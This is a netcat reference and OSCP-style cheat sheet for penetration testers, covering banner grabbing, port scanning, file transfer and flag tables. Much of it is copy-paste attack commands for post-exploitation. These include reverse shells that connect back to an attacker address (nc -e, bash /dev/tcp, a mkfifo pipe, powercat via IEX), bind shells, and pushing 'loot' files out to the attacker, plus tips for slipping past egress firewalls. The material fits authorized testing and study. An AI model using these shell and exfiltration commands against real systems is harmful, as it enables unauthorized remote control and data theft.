Netcat (nc) Master Reference
What is Netcat?
Netcat is a general-purpose TCP/UDP networking tool (often called the “Swiss-army knife” of networking). It’s useful in enumeration, exploitation, and post-exploitation phases of a penetration test.
Where Netcat Fits In a Pentest
| Phase | Typical Uses |
|---|---|
| Enumeration | Banner grabbing, quick TCP checks, lightweight port scans |
| Exploitation | Crafting raw requests, delivering payloads, quick HTTP/SMTP/FTP interactions |
| Post-Exploitation | Reverse/bind shells, file transfer, ad-hoc pivot comms |
Syntax
nc [options] [host] [port]
📌 1) Common Netcat Commands
1.1 Banner Grabbing (Enumeration)
Used to quickly gather service banners from open ports.
# Basic banner grabs
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 25
# Example HTTP probe
printf "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 10.10.10.10 801.2 Quick Port Scan (TCP)
Performs a lightweight TCP scan by attempting connections without sending data.
nc -nvz 10.10.10.10 20-1000-z→ Zero-I/O mode (scan only)
1.3 Reverse Shells (Post-Exploitation)
Reverse shells connect back to the attacker, useful when inbound connections are blocked.
Attacker (listener):
nc -lvnp 4444Windows target (no nc.exe): load powercat via IEX and powercat -c ATTACKER -p 4444 -e cmd.
Target (connects back):
# Linux (if -e is supported)
nc -e /bin/bash 10.10.10.5 4444
# Windows (if -e is supported)
nc -e cmd.exe 10.10.10.5 4444
# If -e is NOT supported (OpenBSD nc), use bash TCP:
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
# Or mkfifo fallback (POSIXy systems):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 10.10.10.5 4444 >/tmp/f1.4 Bind Shells (Post-Exploitation)
Bind shells listen for incoming connections from the attacker.
Target (listener):
# Linux
nc -lvnp 4444 -e /bin/bash
# Windows
nc -lvnp 4444 -e cmd.exeAttacker (connect to target):
nc -nv 10.10.10.10 44441.5 File Transfer (Any Direction)
Transfers files between attacker and target.
# Send a file (sender pushes)
nc -w 3 10.10.10.5 1234 < file.txt
# Receive a file (listener pulls)
nc -lvnp 1234 > file.txtDirectory transfer with tar (Linux→Linux):
# Sender:
tar czf - ./dir | nc -w 3 10.10.10.5 1234
# Receiver:
nc -lvnp 1234 | tar xzf -1.6 Simple Chat (Ad-hoc)
Establishes a simple text-based chat connection.
# Side A
nc -lvnp 5555
# Side B
nc 10.10.10.5 55551.7 Craft HTTP Requests with nc
Manually send raw HTTP requests for testing.
printf "GET / HTTP/1.1\r\nHost: 10.10.10.10\r\nConnection: close\r\n\r\n" | nc -nv 10.10.10.10 801.8 UDP Mode Examples
Uses Netcat over UDP instead of TCP.
# Send a UDP packet
printf "ping" | nc -u -w 2 10.10.10.10 12345
# Listen on UDP
nc -u -lvnp 12345📌 2) Quick OSCP Cheat Sheet (Copy/Paste)
# Listener (attacker)
nc -lvnp 4444
# Reverse shell (target → attacker)
nc -e /bin/bash 10.10.10.5 4444 # Linux w/ -e
nc -e cmd.exe 10.10.10.5 4444 # Windows w/ -e
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1 # Fallback if -e missing
# Bind shell (target listens)
nc -lvnp 4444 -e /bin/bash # Linux
nc -lvnp 4444 -e cmd.exe # Windows
# File transfer
nc -lvnp 1234 > loot.bin # Attacker receive
nc 10.10.14.6 1234 < loot.bin # Target send
# Banner grab
printf "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 10.10.10.10 80
# Quick TCP port probe
nc -nvz 10.10.10.10 20-1000📌 5) Troubleshooting & Quality-of-Life
- Shell dies on Ctrl-C / no TTY features?
Upgrade to a TTY after landing a shell (Linux):script -qc /bin/bash /dev/null || true python3 -c 'import pty,os; pty.spawn("/bin/bash"); os.system("stty raw -echo; fg")' - Reverse blocked by firewall? Try a bind shell or different egress ports (80/443).
- UDP one-liners failing? Some nc builds handle UDP differently; try
ncat -uas an alternative. - Interactive input broken? Wrap with
rlwrap:rlwrap nc -lvnp 4444
Netcat Command Reference (Options & Flags)
General Options
| Flag | Description |
|---|---|
-h | Show help screen. |
-v | Verbose mode; use twice (-vv) for more verbosity. |
-n | Numeric-only IP addresses (no DNS resolution). |
-u | Use UDP instead of TCP. |
-z | Zero-I/O mode (used for scanning). |
-w <secs> | Timeout for connects and final net reads. |
-i <secs> | Delay interval for lines sent and ports scanned. |
Connection Setup
| Flag | Description |
|---|---|
-p <port> | Local port number. |
-s <addr> | Local source address. |
-l | Listen mode for inbound connects. |
-k | Keep listening after client disconnects (server mode). |
-4 | Use IPv4 only. |
-6 | Use IPv6 only. |
Data Handling
| Flag | Description |
|---|---|
-c <command> | Execute command after connection (like -e, but via /bin/sh -c). |
-e <filename> | Execute program after connection. (Dangerous — security risk!) |
-o <file> | Hex dump of traffic into a file. |
-q <secs> | Quit after EOF on stdin and delay of <secs>. |
-t | Enable telnet negotiation. |
-X <method> | Specify proxy protocol: 4, 5, or connect. |
-x <addr:port> | Specify proxy address and port. |
Scanning Options (Common with Nmap’s Ncat)
| Flag | Description |
|---|---|
-z | Zero-I/O mode for scanning. |
-v | Verbose output of scan results. |
-n | Don’t resolve hostnames. |
<host> <port>-<port> | Port range scan. |
Nmap Ncat-Specific Options
| Flag | Description |
|---|---|
--ssl | Enable SSL on connection. |
--ssl-cert <file> | Specify SSL certificate file. |
--ssl-key <file> | Specify SSL key file. |
--ssl-verify | Verify peer certificate. |
--ssl-trustfile <file> | Trusted certificate authority bundle. |
--broker | Enable connection brokering (chatroom mode). |
--chat | Enable multi-client chat mode. |
--exec <command> | Execute a command after connect (Ncat variant). |
--sh-exec <command> | Execute via system shell after connect. |
--lua-exec <file> | Execute Lua script after connect. |
--allow <addr> | Only allow connections from this address. |
--deny <addr> | Deny connections from this address. |
--listen | Listen mode (like -l). |
--keep-open | Keep listening for multiple connections. |
--recv-only | Only receive data, don’t send. |
--send-only | Only send data, don’t receive. |
--proxy <addr[:port]> | Use a proxy for the connection. |
--proxy-type <type> | Proxy type: http, socks4, socks5. |
--proxy-auth <user:pass> | Proxy authentication. |
Examples
Connect to a host on TCP port 80
nc example.com 80Start a listener on port 4444
nc -l -p 4444Port scan a host for ports 20–80
nc -z -v target.com 20-80Transfer a file
Sender:
nc -l -p 1234 < file.txtReceiver:
nc host.example 1234 > file.txt